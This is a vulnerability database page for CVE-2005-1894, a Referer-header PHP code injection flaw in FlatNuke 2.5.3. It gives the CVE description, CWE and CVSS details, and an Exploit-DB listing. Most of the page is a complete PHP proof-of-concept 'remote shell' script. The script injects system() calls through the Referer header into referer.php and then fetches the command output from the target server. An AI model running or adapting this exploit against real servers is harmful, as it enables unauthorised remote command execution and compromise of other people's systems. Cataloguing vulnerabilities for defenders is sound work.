CVE-2005-1894
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CVE Descriptions
Direct code injection vulnerability in FlatNuke 2.5.3 allows remote attackers to execute arbitrary PHP code by placing the code into the Referer header of an HTTP request, which causes the code to be injected into referer.php, which can then be accessed by the attacker.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 25801
Publication date : 2005-06-06 22h00 +00:00
Author : SecWatch
EDB Verified : Yes
source: https://www.securityfocus.com/bid/13882/info
Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts.
An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible.
<?php
/*
Flatnuke 2.5.3 Arbitrary Remote Command Injection Shell PoC
Description: A simple PHP PoC script yielding a virtual remote shell
Advisory: http://secwatch.org/advisories/secwatch/20050604_flatnuke.txt
Original: http://secwatch.org/exploits/2005/06/flatnuke_shell.php.info
Fixed version: FlatNuke 2.5.3
Author: SW [at] secwatch [dot] co [dot] uk
References:
http://flatnuke.sourceforge.net/index.php?mod=read&id=1117979256
*/
/* start session */
session_start();
/* initialise session variables. */
if (empty($_SESSION['output']) || !empty($_POST['reset'])) {
$_SESSION['history'] = array();
$_SESSION['output'] = '';
$_SESSION['cmdcnt'] = 0;
$_SESSION['cwd'] = '/';
for($len=8,$r=''; strlen($r)<$len; $r.=chr(!mt_rand(0,2)? mt_rand(48,57):(!mt_rand(0,1)?mt_rand(65,90):mt_rand (97,122))));
$_SESSION['rand'] = $r; // rand string for this session only
}
if (!empty($_POST['CMD'])) {
if (get_magic_quotes_gpc()) {
$_POST['CMD'] = stripslashes($_POST['CMD']);
}
/* save current command in */
if (($i = array_search($_POST['CMD'], $_SESSION['history'])) !== false)
unset($_SESSION['history'][$i]);
array_unshift($_SESSION['history'], $_POST['CMD']);
$_SESSION['output'] .= '$ ' . $_POST['CMD'] . "\n";
}
/* initialise current directory. */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_POST['CMD'])) {
$_SESSION['cwd'] = dirname(__FILE__);
} else if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_POST['CMD'], $regs)) {
if ($regs[1][0] == '/') {
$new_dir = $regs[1]; /* absolute path */
} else {
$new_dir = $_SESSION['cwd'] . '/' . $regs[1];/* relative path */
}
while (strpos($new_dir, '/./') !== false) $new_dir = str_replace('/./', '/', $new_dir); /* transform '/./' into '/' */
while (strpos($new_dir, '//') !== false) $new_dir = str_replace('//', '/', $new_dir); /* transform '//' into '/' */
while (preg_match('|/\.\.(?!\.)|', $new_dir)) $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); /* transform 'x/..' into '' */
$_SESSION['cwd'] = ($new_dir == '') ? "/" : $new_dir;
}
/* build the command history */
if (empty($_SESSION['history'])) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_SESSION['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';
}
?>
<html>
<head>
<title>FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC</title>
<script type="text/javascript" language="JavaScript">
var current_line = 0;
var command_hist = new Array(<?php echo $js_command_hist ?>);
var last = 0;
function key(e) {
if (!e) var e = window.event;
if (e.keyCode == 38 && current_line < command_hist.length-1) {
command_hist[current_line] = document.shell.CMD.value;
current_line++;
document.shell.CMD.value = command_hist[current_line];
}
if (e.keyCode == 40 && current_line > 0) {
command_hist[current_line] = document.shell.CMD.value;
current_line--;
document.shell.CMD.value = command_hist[current_line];
}
}
function init() {
document.shell.setAttribute("autocomplete", "off");
document.shell.output.scrollTop = document.shell.output.scrollHeight;
document.shell.CMD.focus();
}
</script>
<style>
textarea {
border: none;
width: 100%;
padding: 2px 2px 0px;
}
div {
border: inset 2px white;
}
p.prompt {
font-family: monospace;
margin: 0px;
padding: 0px 2px 2px;
}
input.prompt {
border: none;
font-family: monospace;
}
</style>
</head>
<body onload="init()">
<p align="center"><center><h2>FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC</h2></center></p><br />
<form name="shell" method="POST" action="<? echo $_SERVER['PHP_SELF'] ?>">
<table>
<tr>
<td>Host+Path:</td>
<td><input type="text" name="URL" size="35" value="<? echo $_POST['URL'] ?>" /> (e.g http://site.com/path/to/flatnuke/ - note only path to flatnuke root directory)<br /></td>
<tr>
<tr>
<td>Directory:</td>
<td><?php echo $_SESSION['cwd']; ?></td>
<tr>
</table>
<div>
<?php
/* tidy up request / set some defaults if not provided */
$urlbits = parse_url($_POST['URL']);
$host = ($urlbits['host'] != "") ? $urlbits['host'] : "";
$port = ($urlbits['port'] != "") ? $urlbits['port'] : 80;
$path = ($urlbits['path'] != "") ? $urlbits['path'] : "/flatnuke/";
$quer = ($urlbits['query'] != "") ? "?".$urlbits['query'] : "";
$cmd = ($_POST['CMD'] != "") ? addslashes("cd {$_SESSION['cwd']} && ".$_POST['CMD']) : "";
$reflog = $path."misc/flatstat/referer.php";
$int = $_SESSION['cmdcnt']++;
$referer = "http://noneexistantsite.com/?s{$_SESSION['rand']}$int=<?php system(\"$cmd\")?>&e{$_SESSION['rand']}$int";
/* ensure all required vars are present */
if (isset($_POST['URL']) && $host != "" && $cmd != "") {
/* connect to target */
if (!$fp = fsockopen($host, $port, $errno, $errstr)) {
echo "Cound not connect to <i>$host</i> ($errstr - $errno)<br/>\n";
} else {
/* make HTTP request */
fputs($fp, "GET $path.$quer HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Referer: $referer\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fclose($fp);
usleep(150000);
/* retrieve command output */
if ($result = file_get_contents("http://$host:$port$reflog")) {
/* strip other irrelevant referer information */
$trim = str_replace("http://noneexistantsite.com/?s{$_SESSION['rand']}$int=", "", stristr($result, "http://noneexistantsite.com/?s{$_SESSION['rand']}$int="));
$trim = str_replace(stristr($trim, "&e{$_SESSION['rand']}$int"), "", $trim);
/* display trimmed command output */
$_SESSION['output'] .= htmlspecialchars($trim);
}
}
}
?>
<textarea name="output" readonly="readonly" cols="90" rows="30">
<?php
$lines = substr_count($_SESSION['output'], "\n");
$padding = str_repeat("\n", max(0, 36 - $lines));
echo rtrim($padding . $_SESSION['output']);
?>
</textarea>
<p class="prompt">
$ <input class="prompt" type="text" name="CMD" size="78" onkeyup="key(event)" tabindex="1" />
</p>
</div><br /><br />
<input type="submit" value="Execute" /> <input type="submit" name="reset" value="Reset" />
</form>
</body>
</html>
Products Mentioned
Configuraton 0
Flatnuke>>Flatnuke >> Version 2.5.3
- Flatnuke>>Flatnuke >> Version 2.5.3 (Open CPE detail)
